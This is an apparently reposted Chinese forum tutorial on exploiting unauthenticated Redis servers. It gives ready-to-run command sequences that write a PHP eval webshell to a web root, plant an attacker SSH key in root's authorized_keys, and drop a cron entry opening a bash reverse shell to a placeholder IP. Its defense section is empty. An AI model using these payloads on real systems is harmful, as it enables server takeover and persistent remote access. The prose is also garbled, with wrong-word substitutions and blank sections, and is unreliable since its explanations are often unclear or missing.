ToB企服应用市场:ToB评测及商务社交产业平台

标题: Redis未授权访问漏洞详解(全面) [打印本页]

作者: 海哥    时间: 2024-7-24 10:39
标题: Redis未授权访问漏洞详解(全面)
这个漏洞造成原因是因为设置不当的题目,没有非常复杂的原理。这个漏洞一样平常位于内网之中,能使用好Redis漏洞每每能够顺利拿下服务器权限,以是也照旧很紧张的。

目录
Redis简朴先容
Redis未授权访问漏洞先容
使用条件
影响版本
漏洞检测
漏洞危害
Redis写入webshell
原理
使用条件
使用过程
Redis写入SSH公钥
原理
使用条件
使用过程
Redis写入计划任务反弹shell
原理
使用条件
使用过程
Redis未授权访问漏洞防御
总结


Redis简朴先容

Redis是一款内存高速缓存的数据库,是一款K-V型数据库,它的全部键值都是用字典来存储的。其中它的value支持多种数据类型,包括String、List、Set、Zset和Hash。

Redis未授权访问漏洞先容

使用条件


这将导致任意用户可以访问目的服务器下未授权访问Redis以及读取Redis数据。

影响版本

Redis2.x-5.x

漏洞检测

一样平常使用nmap工具对目的机器举行扫描。如果发现主机的6379端口是对外开放的,并且目的主机开放外网访问的情况下,就能够在本机使用redis-cli服务连接目的服务器。
  1. redis-cli -h 服务器ip
复制代码

漏洞危害


   eval()是用来实行一个字符串表达式,并返回表达式的值。
  lua是一种脚本语言,用C语言编写,源码开放,其计划目的是为了嵌入程序应用,为应用程序提供便利的拓展功能。
  

Redis写入webshell

原理

Redis为了持久化连接,将数据保存在了本地。那么攻击者可以将后门代码作为value值,写入web目录下的.php文件,就可实现php的webshell。

使用条件


这时候攻击者可以通过Redis写入webshell。

使用过程

以下为举例:
  1. config set dir /var/www.html/        #切换到web写入目录
  2. config set dbfilename zcc.php        #设置写入木马的文件名
  3. set xxx "\n\n\n<?php @eval($_POST['zcc']);?>\n\n\n"        #写入恶意代码到内存中,这里的换行符是必要的,因为用Redis写入文件会自带一些版本信息,如果不换行可能执行不了
  4. save        #将内存中的数据导出到磁盘
复制代码

Redis写入SSH公钥

原理

在Redis数据库中插入一条数据,将本机的公钥作为value,然后通过修改数据库的默认路径为/root/.ssh(ssh文件夹)和默认的缓冲文件authorized.keys(公钥文件),把缓冲的数据保存在文件里,如许就可以在服务器端的/root/.ssh下天生一个授权的key。

使用条件


即可长途写入一个公钥,直接登录长途服务器。

使用过程

  1. ssh-keygen -t rsa
  2. config set dir /root/.ssh
  3. config set dbfilename authorized_keys
  4. set x "\n\n\nssh-rsa ...公钥...\n\n\n"
  5. save
复制代码
连接:
  1. ssh -i id_rsa root@ip
复制代码

Redis写入计划任务反弹shell

原理

在数据库中插入一条数据,将计划任务的内容作为value值,然后通过修改数据库的默认路径为目的主机计划任务的路径,把缓冲的数据保存在文件里,如许就可以一个计划任务举行反弹shell。

使用条件



使用过程

  1. set x "\n\n****bash -i >& /dev/tcp/xx.xx.xx.xx/8089 0>&1 \n\n"
  2. config setdir /var/spool/cron
  3. config set dbfilename root
  4. save
复制代码

Redis未授权访问漏洞防御



总结




免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4